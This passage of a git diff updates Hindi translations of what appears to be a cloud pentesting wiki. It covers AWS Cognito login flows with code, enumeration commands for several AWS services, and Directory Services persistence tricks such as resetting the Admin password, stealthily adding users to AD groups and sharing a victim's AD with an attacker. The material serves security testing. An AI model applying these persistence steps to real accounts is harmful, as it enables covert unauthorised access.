Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): इसमें प्रमाणित उपयोगकर्ता के बारे में दावे, **उपयोगकर्ता के समूहों की सूची**, और **स्कोप की सूची** होती है। एक्सेस टोकन का उद्देश्य उपयोगकर्ता पूल में उपयोगकर्ता के संदर्भ में **API संचालन को अधिकृत करना** है। उदाहरण के लिए, आप एक्सेस टोकन का उपयोग करके **अपने उपयोगकर्ता को उपयोगकर्ता गुणों को जोड़ने, बदलने या हटाने** की अनुमति दे सकते हैं। +- ID टोकन वह टोकन है जो **उपयोगकर्ता के विशेषताओं के मान** को **शामिल करता है**, यहां तक कि कस्टम वाले भी। +- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): इसमें प्रमाणित उपयोगकर्ता के बारे में दावे, **उपयोगकर्ता के समूहों की सूची**, और **स्कोप की सूची** होती है। एक्सेस टोकन का उद्देश्य उपयोगकर्ता पूल में उपयोगकर्ता के संदर्भ में **API संचालन को अधिकृत करना** है। उदाहरण के लिए, आप एक्सेस टोकन का उपयोग करके **अपने उपयोगकर्ता को एक्सेस देने** के लिए उपयोगकर्ता विशेषताओं को जोड़ने, बदलने या हटाने के लिए कर सकते हैं। - [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): रीफ्रेश टोकनों के साथ आप उपयोगकर्ता के लिए **नए ID टोकन और एक्सेस टोकन प्राप्त कर सकते हैं** जब तक कि **रीफ्रेश टोकन अमान्य** न हो जाए। **डिफ़ॉल्ट** रूप से, रीफ्रेश टोकन **30 दिनों के बाद समाप्त हो जाता है** जब आपका अनुप्रयोग उपयोगकर्ता आपके उपयोगकर्ता पूल में साइन इन करता है। जब आप अपने उपयोगकर्ता पूल के लिए एक अनुप्रयोग बनाते हैं, तो आप अनुप्रयोग के रीफ्रेश टोकन की समाप्ति को **60 मिनट से 10 वर्षों के बीच किसी भी मान** पर सेट कर सकते हैं। ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH यह सर्वर साइड प्रमाणीकरण प्रवाह है: -- सर्वर-साइड ऐप **`AdminInitiateAuth` API ऑपरेशन** को कॉल करता है (इसके बजाय `InitiateAuth`)। इस ऑपरेशन के लिए AWS क्रेडेंशियल्स की आवश्यकता होती है जिनमें **`cognito-idp:AdminInitiateAuth`** और **`cognito-idp:AdminRespondToAuthChallenge`** की अनुमति शामिल होती है। यह ऑपरेशन आवश्यक प्रमाणीकरण पैरामीटर लौटाता है। +- सर्वर-साइड ऐप **`AdminInitiateAuth` API ऑपरेशन** को कॉल करता है ( `InitiateAuth` के बजाय)। इस ऑपरेशन के लिए AWS क्रेडेंशियल्स की आवश्यकता होती है जिनमें **`cognito-idp:AdminInitiateAuth`** और **`cognito-idp:AdminRespondToAuthChallenge`** शामिल हैं। यह ऑपरेशन आवश्यक प्रमाणीकरण पैरामीटर लौटाता है। - जब सर्वर-साइड ऐप के पास **प्रमाणन पैरामीटर** होते हैं, तो यह **`AdminRespondToAuthChallenge` API ऑपरेशन** को कॉल करता है। `AdminRespondToAuthChallenge` API ऑपरेशन केवल तभी सफल होता है जब आप AWS क्रेडेंशियल्स प्रदान करते हैं। यह **विधि डिफ़ॉल्ट रूप से सक्षम नहीं है**। @@ -184,8 +184,8 @@ aws cognito-idp change-password \ - क्लाइंट सीक्रेट (केवल यदि ऐप को एक सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है) > [!NOTE] -> इस विधि के साथ **लॉगिन करने के लिए सक्षम होने के लिए**, उस अनुप्रयोग को `ALLOW_ADMIN_USER_PASSWORD_AUTH` के साथ लॉगिन करने की अनुमति देनी चाहिए।\ -> इसके अलावा, इस क्रिया को करने के लिए आपको **`cognito-idp:AdminInitiateAuth`** और **`cognito-idp:AdminRespondToAuthChallenge`** की अनुमति के साथ क्रेडेंशियल्स की आवश्यकता है। +> इस विधि से **लॉगिन करने के लिए** उस अनुप्रयोग को `ALLOW_ADMIN_USER_PASSWORD_AUTH` के साथ लॉगिन करने की अनुमति देनी चाहिए।\ +> इसके अलावा, इस क्रिया को करने के लिए आपको **`cognito-idp:AdminInitiateAuth`** और **`cognito-idp:AdminRespondToAuthChallenge`** के साथ अनुमतियों वाले क्रेडेंशियल्स की आवश्यकता है। ```python aws cognito-idp admin-initiate-auth \ --client-id \ @@ -198,7 +198,7 @@ aws cognito-idp admin-initiate-auth \ ```
-लॉगिन के लिए कोड +लॉगिन करने का कोड ```python import boto3 import botocore @@ -243,7 +243,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_PASSWORD_AUTH -यह विधि एक और सरल और **पारंपरिक उपयोगकर्ता और पासवर्ड प्रमाणीकरण** प्रवाह है। इसे **Cognito** में **पारंपरिक** प्रमाणीकरण विधि **को माइग्रेट** करने की सिफारिश की जाती है और फिर इसे **अक्षम** करने और इसके बजाय **ALLOW_USER_SRP_AUTH** विधि का **उपयोग** करने की सिफारिश की जाती है (क्योंकि यह कभी भी पासवर्ड को नेटवर्क पर नहीं भेजता)।\ +यह विधि एक और सरल और **पारंपरिक उपयोगकर्ता और पासवर्ड प्रमाणीकरण** प्रवाह है। इसे **Cognito** में **पारंपरिक** प्रमाणीकरण विधि **को माइग्रेट** करने की सिफारिश की जाती है और फिर इसे **अक्षम** करने और इसके बजाय **ALLOW_USER_SRP_AUTH** विधि का **उपयोग** करने की सिफारिश की जाती है (क्योंकि यह नेटवर्क पर पासवर्ड कभी नहीं भेजता)।\ यह **विधि डिफ़ॉल्ट रूप से सक्षम नहीं है**। कोड के अंदर **पिछली प्रमाणीकरण विधि** के साथ मुख्य **अंतर** यह है कि आपको **उपयोगकर्ता पूल आईडी** जानने की **आवश्यकता नहीं है** और आपको Cognito उपयोगकर्ता पूल में **अतिरिक्त अनुमतियों** की **आवश्यकता नहीं है**। @@ -256,7 +256,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) - क्लाइंट सीक्रेट (केवल यदि ऐप को एक सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है) > [!NOTE] -> इस विधि के साथ **लॉगिन करने में सक्षम होने के लिए** उस एप्लिकेशन को ALLOW_USER_PASSWORD_AUTH के साथ लॉगिन करने की अनुमति देनी चाहिए। +> इस विधि के साथ **लॉगिन करने के लिए सक्षम होने के लिए** उस एप्लिकेशन को ALLOW_USER_PASSWORD_AUTH के साथ लॉगिन करने की अनुमति देनी चाहिए। ```python aws cognito-idp initiate-auth --client-id \ --auth-flow USER_PASSWORD_AUTH --region \ @@ -266,7 +266,7 @@ aws cognito-idp initiate-auth --client-id \ ```
-लॉगिन के लिए पायथन कोड +लॉगिन के लिए Python कोड ```python import boto3 import botocore @@ -311,7 +311,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) ### USER_SRP_AUTH यह परिदृश्य पिछले वाले के समान है लेकिन **पासवर्ड भेजने के बजाय** नेटवर्क के माध्यम से लॉगिन करने के लिए **चुनौती प्रमाणीकरण किया जाता है** (इसलिए कोई पासवर्ड नेटवर्क के माध्यम से एन्क्रिप्टेड भी नहीं जाता)।\ -यह **विधि डिफ़ॉल्ट रूप से सक्षम** है। +यह **विधि डिफ़ॉल्ट रूप से सक्षम है**। लॉगिन करने के लिए आपको **जानना आवश्यक है**: @@ -319,7 +319,7 @@ print(login_user(username, password, client_id, client_secret, user_pool_id)) - क्लाइंट आईडी - उपयोगकर्ता नाम - पासवर्ड -- क्लाइंट सीक्रेट (केवल यदि ऐप को एक सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है) +- क्लाइंट सीक्रेट (केवल यदि ऐप को सीक्रेट का उपयोग करने के लिए कॉन्फ़िगर किया गया है)
@@ -357,7 +357,7 @@ aws cognito-idp initiate-auth \ ```
-कोड को ताज़ा करें +रीफ्रेश करने के लिए कोड ```python import boto3 import botocore @@ -389,7 +389,7 @@ print(refresh(client_id, token)) ### CUSTOM_AUTH -इस मामले में **प्रमाणीकरण** **लैम्ब्डा फ़ंक्शन** के **निष्पादन** के माध्यम से किया जाएगा। +इस मामले में **प्रमाणीकरण** **lambda फ़ंक्शन** के **निष्पादन** के माध्यम से किया जाएगा। ## अतिरिक्त सुरक्षा @@ -406,19 +406,19 @@ print(refresh(client_id, token)) यह संभव है कि **उपयोगकर्ताओं को उपयोगकर्ता पूल** समूहों में जोड़ा जाए जो एक **IAM भूमिका** से संबंधित हैं।\ इसके अलावा, **उपयोगकर्ताओं** को **अलग-अलग IAM भूमिकाओं** के साथ **1 से अधिक समूहों** में असाइन किया जा सकता है। -ध्यान दें कि भले ही एक समूह में एक IAM भूमिका संलग्न हो, उस समूह के IAM क्रेडेंशियल्स तक पहुँचने के लिए आवश्यक है कि **उपयोगकर्ता पूल को एक पहचान पूल द्वारा विश्वसनीय होना चाहिए** (और उस पहचान पूल के विवरण को जानना चाहिए)। +ध्यान दें कि भले ही एक समूह एक IAM भूमिका के साथ एक समूह के अंदर हो, उस समूह के IAM क्रेडेंशियल्स तक पहुँचने के लिए आवश्यक है कि **उपयोगकर्ता पूल को एक पहचान पूल द्वारा विश्वसनीय होना चाहिए** (और उस पहचान पूल के विवरण को जानना चाहिए)। जब एक उपयोगकर्ता उपयोगकर्ता पूल में प्रमाणित होता है (`aws cognito-idp initiate-auth...`), तो **IdToken में निर्दिष्ट IAM भूमिका** प्राप्त करने के लिए एक और आवश्यकता है कि **पहचान प्रदाता प्रमाणीकरण प्रदाता** को यह संकेत देना चाहिए कि **भूमिका को टोकन से चुना जाना चाहिए।**
-एक उपयोगकर्ता के पास पहुँचने के लिए **भूमिकाएँ** **`IdToken`** के अंदर होती हैं, और एक उपयोगकर्ता **`--custom-role-arn`** के साथ **क्रेडेंशियल्स के लिए वह भूमिका चुन सकता है** `aws cognito-identity get-credentials-for-identity`।\ +एक उपयोगकर्ता के पास पहुँच के लिए **भूमिकाएँ** **`IdToken` के अंदर** होती हैं, और एक उपयोगकर्ता **`--custom-role-arn`** के साथ **क्रेडेंशियल्स के लिए वह भूमिका चुन सकता है** `aws cognito-identity get-credentials-for-identity` से।\ हालांकि, यदि **डिफ़ॉल्ट विकल्प** वह है जो **कॉन्फ़िगर किया गया है** (`डिफ़ॉल्ट भूमिका का उपयोग करें`), और आप IdToken से एक भूमिका तक पहुँचने का प्रयास करते हैं, तो आपको **त्रुटि** मिलेगी (इसलिए पिछले कॉन्फ़िगरेशन की आवश्यकता है): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` > [!WARNING] -> ध्यान दें कि **यूजर पूल ग्रुप** को सौंपा गया भूमिका **पहचान प्रदाता द्वारा सुलभ होना चाहिए** जो **यूजर पूल पर भरोसा करता है** (क्योंकि IAM भूमिका **सत्र क्रेडेंशियल्स इसे प्राप्त किए जाने वाले हैं**)। +> ध्यान दें कि **यूजर पूल ग्रुप** को सौंपा गया भूमिका उस **पहचान प्रदाता द्वारा सुलभ होना चाहिए** जो **यूजर पूल पर भरोसा करता है** (क्योंकि IAM भूमिका **सत्र क्रेडेंशियल्स इसे से प्राप्त किए जाने वाले हैं**)। ```json { "Version": "2012-10-17", diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 0fbde245c..d61f9b1bc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -6,15 +6,15 @@ AWS Data Pipeline को **डेटा के बड़े पैमाने पर पहुंच, रूपांतरण और कुशल स्थानांतरण** को सुविधाजनक बनाने के लिए डिज़ाइन किया गया है। यह निम्नलिखित कार्यों को करने की अनुमति देता है: -1. **आपके डेटा तक पहुंचें जहां यह संग्रहीत है**: विभिन्न AWS सेवाओं में स्थित डेटा को सहजता से एक्सेस किया जा सकता है। -2. **बड़े पैमाने पर रूपांतरित और प्रोसेस करें**: बड़े पैमाने पर डेटा प्रोसेसिंग और रूपांतरण कार्यों को कुशलता से संभाला जाता है। -3. **परिणामों को कुशलता से स्थानांतरित करें**: प्रोसेस किया गया डेटा कई AWS सेवाओं में कुशलता से स्थानांतरित किया जा सकता है, जिसमें शामिल हैं: +1. **अपने डेटा तक पहुंचें जहां यह संग्रहीत है**: विभिन्न AWS सेवाओं में स्थित डेटा को सहजता से एक्सेस किया जा सकता है। +2. **बड़े पैमाने पर रूपांतरित और संसाधित करें**: बड़े पैमाने पर डेटा प्रसंस्करण और रूपांतरण कार्यों को कुशलता से संभाला जाता है। +3. **परिणामों को कुशलता से स्थानांतरित करें**: संसाधित डेटा को कई AWS सेवाओं में कुशलता से स्थानांतरित किया जा सकता है, जिसमें शामिल हैं: - Amazon S3 - Amazon RDS - Amazon DynamoDB - Amazon EMR -आसान शब्दों में, AWS Data Pipeline विभिन्न AWS कंप्यूट और स्टोरेज सेवाओं के बीच डेटा के आंदोलन और प्रोसेसिंग को सरल बनाता है, साथ ही ऑन-प्रिमाइसेस डेटा स्रोतों के साथ, निर्दिष्ट अंतराल पर। +आसान शब्दों में, AWS Data Pipeline विभिन्न AWS कंप्यूट और स्टोरेज सेवाओं के बीच डेटा के आंदोलन और प्रसंस्करण को सरल बनाता है, साथ ही ऑन-प्रिमाइसेस डेटा स्रोतों के साथ, निर्दिष्ट अंतराल पर। ### Enumeration ```bash @@ -25,7 +25,7 @@ aws datapipeline get-pipeline-definition --pipeline-id ``` ### Privesc -In the following page you can check how to **datapipeline अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाना**: +निम्नलिखित पृष्ठ पर आप **datapipeline अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -33,7 +33,7 @@ In the following page you can check how to **datapipeline अनुमतिय ## CodePipeline -AWS CodePipeline एक पूरी तरह से प्रबंधित **निरंतर वितरण सेवा** है जो आपको **आपकी रिलीज पाइपलाइनों को स्वचालित करने** में मदद करती है ताकि आप तेज और विश्वसनीय एप्लिकेशन और बुनियादी ढांचे के अपडेट कर सकें। CodePipeline आपके रिलीज़ प्रक्रिया के **बिल्ड, परीक्षण, और तैनाती चरणों** को स्वचालित करता है हर बार जब कोड में परिवर्तन होता है, आपके द्वारा परिभाषित रिलीज़ मॉडल के आधार पर। +AWS CodePipeline एक पूरी तरह से प्रबंधित **निरंतर वितरण सेवा** है जो आपको **तेज़ और विश्वसनीय एप्लिकेशन और अवसंरचना अपडेट** के लिए अपने रिलीज़ पाइपलाइनों को स्वचालित करने में मदद करती है। CodePipeline आपके रिलीज़ प्रक्रिया के **बिल्ड, परीक्षण, और तैनाती चरणों** को स्वचालित करता है हर बार जब कोड में परिवर्तन होता है, आपके द्वारा परिभाषित रिलीज़ मॉडल के आधार पर। ### Enumeration ```bash @@ -54,7 +54,7 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -यह एक **संस्करण नियंत्रण सेवा** है, जो अमेज़न द्वारा होस्ट और पूरी तरह से प्रबंधित है, जिसका उपयोग डेटा (दस्तावेज़, बाइनरी फ़ाइलें, स्रोत कोड) को निजी रूप से संग्रहीत करने और उन्हें क्लाउड में प्रबंधित करने के लिए किया जा सकता है। +यह एक **संस्करण नियंत्रण सेवा** है, जिसे Amazon द्वारा होस्ट और पूरी तरह से प्रबंधित किया जाता है, जिसका उपयोग डेटा (दस्तावेज़, बाइनरी फ़ाइलें, स्रोत कोड) को निजी रूप से संग्रहीत करने और उन्हें क्लाउड में प्रबंधित करने के लिए किया जा सकता है। यह **उपयोगकर्ता के लिए Git को जानने और **अपने स्वयं के स्रोत नियंत्रण प्रणाली** का प्रबंधन करने की आवश्यकता को समाप्त करता है या अपनी अवसंरचना को ऊपर या नीचे स्केल करने की चिंता करता है। Codecommit सभी मानक **कार्यात्मकताओं का समर्थन करता है जो Git में पाई जा सकती हैं**, जिसका अर्थ है कि यह उपयोगकर्ता के वर्तमान Git-आधारित उपकरणों के साथ बिना किसी कठिनाई के काम करता है। diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index ff3fd06d9..e2224b940 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,15 +4,15 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory एक प्रबंधित सेवा है जो AWS Cloud में **एक निर्देशिका सेट अप, संचालित और स्केल करना** आसान बनाती है। यह वास्तविक **Microsoft Active Directory** पर आधारित है और अन्य AWS सेवाओं के साथ तंग एकीकृत है, जिससे आपके निर्देशिका-सचेत कार्यभार और AWS संसाधनों का प्रबंधन करना आसान हो जाता है। AWS Managed Microsoft AD के साथ, आप **अपने मौजूदा** Active Directory उपयोगकर्ताओं, समूहों और नीतियों का उपयोग करके अपने AWS संसाधनों तक पहुंच प्रबंधित कर सकते हैं। यह आपकी पहचान प्रबंधन को सरल बनाने और अतिरिक्त पहचान समाधानों की आवश्यकता को कम करने में मदद कर सकता है। AWS Managed Microsoft AD स्वचालित बैकअप और आपदा वसूली क्षमताएं भी प्रदान करता है, जिससे आपकी निर्देशिका की उपलब्धता और स्थिरता सुनिश्चित होती है। कुल मिलाकर, AWS Directory Service for Microsoft Active Directory आपको AWS Cloud में एक प्रबंधित, अत्यधिक उपलब्ध और स्केलेबल Active Directory सेवा प्रदान करके समय और संसाधनों की बचत करने में मदद कर सकता है। +AWS Directory Service for Microsoft Active Directory एक प्रबंधित सेवा है जो AWS Cloud में **एक निर्देशिका सेट करने, संचालित करने और स्केल करने** को आसान बनाती है। यह वास्तविक **Microsoft Active Directory** पर आधारित है और अन्य AWS सेवाओं के साथ घनिष्ठता से एकीकृत है, जिससे आपके निर्देशिका-सचेत कार्यभार और AWS संसाधनों का प्रबंधन करना आसान हो जाता है। AWS Managed Microsoft AD के साथ, आप **अपने मौजूदा** Active Directory उपयोगकर्ताओं, समूहों और नीतियों का उपयोग करके अपने AWS संसाधनों तक पहुंच प्रबंधित कर सकते हैं। यह आपकी पहचान प्रबंधन को सरल बनाने और अतिरिक्त पहचान समाधानों की आवश्यकता को कम करने में मदद कर सकता है। AWS Managed Microsoft AD स्वचालित बैकअप और आपदा वसूली क्षमताएं भी प्रदान करता है, जिससे आपकी निर्देशिका की उपलब्धता और स्थिरता सुनिश्चित होती है। कुल मिलाकर, AWS Directory Service for Microsoft Active Directory आपको AWS Cloud में एक प्रबंधित, अत्यधिक उपलब्ध, और स्केलेबल Active Directory सेवा प्रदान करके समय और संसाधनों की बचत करने में मदद कर सकता है। ### Options Directory Services 5 प्रकार की निर्देशिकाएं बनाने की अनुमति देता है: -- **AWS Managed Microsoft AD**: जो एक नया **Microsoft AD in AWS** चलाएगा। आप व्यवस्थापक पासवर्ड सेट कर सकेंगे और VPC में DCs तक पहुंच प्राप्त कर सकेंगे। -- **Simple AD**: जो एक **Linux-Samba** Active Directory–अनुकूलित सर्वर होगा। आप व्यवस्थापक पासवर्ड सेट कर सकेंगे और VPC में DCs तक पहुंच प्राप्त कर सकेंगे। -- **AD Connector**: **आपके मौजूदा Microsoft Active Directory** के लिए निर्देशिका अनुरोधों को पुनर्निर्देशित करने के लिए एक प्रॉक्सी, बिना किसी जानकारी को क्लाउड में कैश किए। यह एक **VPC** में सुन रहा होगा और आपको **मौजूदा AD तक पहुंच के लिए क्रेडेंशियल्स देने की आवश्यकता होगी**। +- **AWS Managed Microsoft AD**: जो AWS में एक नया **Microsoft AD चलाएगा**। आप व्यवस्थापक पासवर्ड सेट कर सकेंगे और VPC में DCs तक पहुंच प्राप्त कर सकेंगे। +- **Simple AD**: जो एक **Linux-Samba** Active Directory–अनुकूल सर्वर होगा। आप व्यवस्थापक पासवर्ड सेट कर सकेंगे और VPC में DCs तक पहुंच प्राप्त कर सकेंगे। +- **AD Connector**: **आपके मौजूदा Microsoft Active Directory** के लिए निर्देशिका अनुरोधों को पुनर्निर्देशित करने के लिए एक प्रॉक्सी, बिना किसी जानकारी को क्लाउड में कैश किए। यह एक **VPC** में सुन रहा होगा और आपको **मौजूदा AD तक पहुंच के लिए क्रेडेंशियल्स** देने की आवश्यकता होगी। - **Amazon Cognito User Pools**: यह Cognito User Pools के समान है। - **Cloud Directory**: यह सबसे **सरल** है। एक **सर्वरलेस** निर्देशिका जहां आप उपयोग करने के लिए **स्कीमा** निर्दिष्ट करते हैं और **उपयोग के अनुसार बिल किया जाता है**। @@ -35,9 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` -### Login +### लॉगिन -ध्यान दें कि यदि **directory** का **description** फ़ील्ड **`AccessUrl`** में एक **domain** शामिल है, तो इसका मतलब है कि एक **user** शायद अपने **AD credentials** के साथ कुछ **AWS services** में **login** कर सकता है: +ध्यान दें कि यदि **directory** का **description** फ़ील्ड **`AccessUrl`** में एक **domain** शामिल है, तो इसका मतलब है कि एक **user** शायद कुछ **AWS services** में अपने **AD credentials** के साथ **login** कर सकता है: - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -45,39 +45,39 @@ aws ds describe-certificate --directory-id --certificate-id - `.awsapps.com/console` (Amazon Management Console) - `.awsapps.com/start` (IAM Identity Center) -### Privilege Escalation +### विशेषाधिकार वृद्धि {{#ref}} ../aws-privilege-escalation/aws-directory-services-privesc.md {{#endref}} -## Persistence +## स्थिरता -### Using an AD user +### एक AD उपयोगकर्ता का उपयोग करना -एक **AD user** को **AWS management console** पर **access** देने के लिए एक Role दिया जा सकता है। **डिफ़ॉल्ट उपयोगकर्ता नाम Admin** है और इसे AWS console से **password** बदलना संभव है। +एक **AD उपयोगकर्ता** को एक भूमिका के माध्यम से **AWS प्रबंधन कंसोल** पर **access** दिया जा सकता है। **डिफ़ॉल्ट उपयोगकर्ता नाम Admin** है और इसे AWS कंसोल से **पासवर्ड बदलना** संभव है। -इसलिए, **Admin का password बदलना**, **एक नया user बनाना** या **एक user का password बदलना** और उस user को access बनाए रखने के लिए एक Role देना संभव है।\ -यह भी संभव है कि **AD के अंदर एक group में एक user को जोड़ें** और **उस AD group को एक Role तक पहुँच दें** (इस persistence को अधिक stealthy बनाने के लिए)। +इसलिए, **Admin का पासवर्ड बदलना**, **एक नया उपयोगकर्ता बनाना** या **एक उपयोगकर्ता का पासवर्ड बदलना** और उस उपयोगकर्ता को एक भूमिका देना संभव है ताकि वह access बनाए रख सके।\ +यह भी संभव है कि **AD के अंदर एक समूह में एक उपयोगकर्ता को जोड़ें** और **उस AD समूह को एक भूमिका तक पहुंच दें** (ताकि यह स्थिरता अधिक छिपी रहे)। -### Sharing AD (from victim to attacker) +### AD साझा करना (पीड़ित से हमलावर तक) -एक victim से एक attacker को AD environment साझा करना संभव है। इस तरह attacker AD env तक पहुँच जारी रख सकेगा।\ -हालांकि, इसका मतलब है कि प्रबंधित AD को साझा करना और एक VPC peering connection बनाना भी शामिल है। +एक पीड़ित से एक हमलावर को AD वातावरण साझा करना संभव है। इस तरह हमलावर AD env तक पहुंचना जारी रख सकेगा।\ +हालांकि, इसका मतलब है कि प्रबंधित AD को साझा करना और एक VPC पीयरिंग कनेक्शन बनाना भी शामिल है। आप यहाँ एक गाइड पा सकते हैं: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) -### ~~Sharing AD (from attacker to victim)~~ +### ~~AD साझा करना (हमलावर से पीड़ित तक)~~ -यह संभव नहीं लगता कि एक अलग AD env से उपयोगकर्ताओं को एक AWS खाते में AWS access दिया जा सके। +यह संभव नहीं लगता कि एक अलग AD env से उपयोगकर्ताओं को एक AWS खाते तक AWS access दिया जा सके। ## WorkDocs -Amazon Web Services (AWS) WorkDocs एक क्लाउड-आधारित **file storage and sharing service** है। यह AWS के क्लाउड कंप्यूटिंग सेवाओं के सूट का हिस्सा है और संगठनों के लिए फ़ाइलों और दस्तावेज़ों को स्टोर, साझा और सहयोग करने के लिए एक सुरक्षित और स्केलेबल समाधान प्रदान करने के लिए डिज़ाइन किया गया है। +Amazon Web Services (AWS) WorkDocs एक क्लाउड-आधारित **फाइल स्टोरेज और शेयरिंग सेवा** है। यह AWS क्लाउड कंप्यूटिंग सेवाओं के सूट का हिस्सा है और संगठनों के लिए फाइलों और दस्तावेजों को स्टोर, शेयर और सहयोग करने के लिए एक सुरक्षित और स्केलेबल समाधान प्रदान करने के लिए डिज़ाइन किया गया है। -AWS WorkDocs उपयोगकर्ताओं को अपनी फ़ाइलों और दस्तावेज़ों को अपलोड, एक्सेस और प्रबंधित करने के लिए एक वेब-आधारित इंटरफ़ेस प्रदान करता है। यह संस्करण नियंत्रण, वास्तविक समय सहयोग, और अन्य AWS सेवाओं और तृतीय-पक्ष उपकरणों के साथ एकीकरण जैसी सुविधाएँ भी प्रदान करता है। +AWS WorkDocs उपयोगकर्ताओं को अपनी फाइलों और दस्तावेजों को अपलोड, एक्सेस और प्रबंधित करने के लिए एक वेब-आधारित इंटरफ़ेस प्रदान करता है। यह संस्करण नियंत्रण, वास्तविक समय सहयोग, और अन्य AWS सेवाओं और तृतीय-पक्ष उपकरणों के साथ एकीकरण जैसी सुविधाएँ भी प्रदान करता है। -### Enumeration +### गणना ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index 0395df968..4354fe85a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,7 +4,7 @@ ## DocumentDB -Amazon DocumentDB, जो MongoDB के साथ संगतता प्रदान करता है, एक **तेज़, विश्वसनीय, और पूरी तरह से प्रबंधित डेटाबेस सेवा** के रूप में प्रस्तुत किया गया है। इसे तैनाती, संचालन, और स्केलेबिलिटी में सरलता के लिए डिज़ाइन किया गया है, यह **क्लाउड में MongoDB-संगत डेटाबेस के निर्बाध माइग्रेशन और संचालन** की अनुमति देता है। उपयोगकर्ता इस सेवा का लाभ उठाकर अपने मौजूदा एप्लिकेशन कोड को निष्पादित कर सकते हैं और परिचित ड्राइवरों और उपकरणों का उपयोग कर सकते हैं, जिससे MongoDB के साथ काम करने के समान एक सुगम संक्रमण और संचालन सुनिश्चित होता है। +Amazon DocumentDB, जो MongoDB के साथ संगतता प्रदान करता है, एक **तेज़, विश्वसनीय, और पूरी तरह से प्रबंधित डेटाबेस सेवा** के रूप में प्रस्तुत किया गया है। इसे तैनाती, संचालन, और स्केलेबिलिटी में सरलता के लिए डिज़ाइन किया गया है, यह **क्लाउड में MongoDB-संगत डेटाबेस के निर्बाध माइग्रेशन और संचालन** की अनुमति देता है। उपयोगकर्ता इस सेवा का लाभ उठाकर अपने मौजूदा एप्लिकेशन कोड को निष्पादित कर सकते हैं और परिचित ड्राइवरों और उपकरणों का उपयोग कर सकते हैं, जिससे MongoDB के साथ काम करने के समान एक सुचारू संक्रमण और संचालन सुनिश्चित होता है। ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 42d6def28..3a69d93e1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -6,21 +6,21 @@ ### Basic Information -Amazon DynamoDB को AWS द्वारा एक **पूर्ण रूप से प्रबंधित, सर्वर रहित, की-मान NoSQL डेटाबेस** के रूप में प्रस्तुत किया गया है, जो उच्च प्रदर्शन वाले अनुप्रयोगों को उनके आकार की परवाह किए बिना शक्ति प्रदान करने के लिए तैयार किया गया है। यह सेवा मजबूत सुविधाओं की गारंटी देती है, जिसमें अंतर्निहित सुरक्षा उपाय, निरंतर बैकअप, कई क्षेत्रों में स्वचालित प्रतिकृति, एकीकृत इन-मेमोरी कैशिंग, और सुविधाजनक डेटा निर्यात उपयोगिताएँ शामिल हैं। +Amazon DynamoDB को AWS द्वारा एक **पूर्ण रूप से प्रबंधित, सर्वरलेस, की-वैल्यू NoSQL डेटाबेस** के रूप में प्रस्तुत किया गया है, जो उच्च प्रदर्शन वाले अनुप्रयोगों को उनके आकार की परवाह किए बिना शक्ति प्रदान करने के लिए तैयार किया गया है। यह सेवा मजबूत सुविधाओं की गारंटी देती है, जिसमें अंतर्निहित सुरक्षा उपाय, निरंतर बैकअप, कई क्षेत्रों में स्वचालित प्रतिकृति, एकीकृत इन-मेमोरी कैशिंग, और सुविधाजनक डेटा निर्यात उपयोगिताएँ शामिल हैं। -DynamoDB के संदर्भ में, पारंपरिक डेटाबेस स्थापित करने के बजाय, **तालिकाएँ बनाई जाती हैं**। प्रत्येक तालिका को **तालिका की प्राथमिक कुंजी** के एक अभिन्न घटक के रूप में **पार्टीशन कुंजी** के विनिर्देशन की आवश्यकता होती है। यह पार्टीशन कुंजी, जो मूलतः एक **हैश मान** है, वस्तुओं की पुनर्प्राप्ति और विभिन्न होस्टों के बीच डेटा के वितरण में महत्वपूर्ण 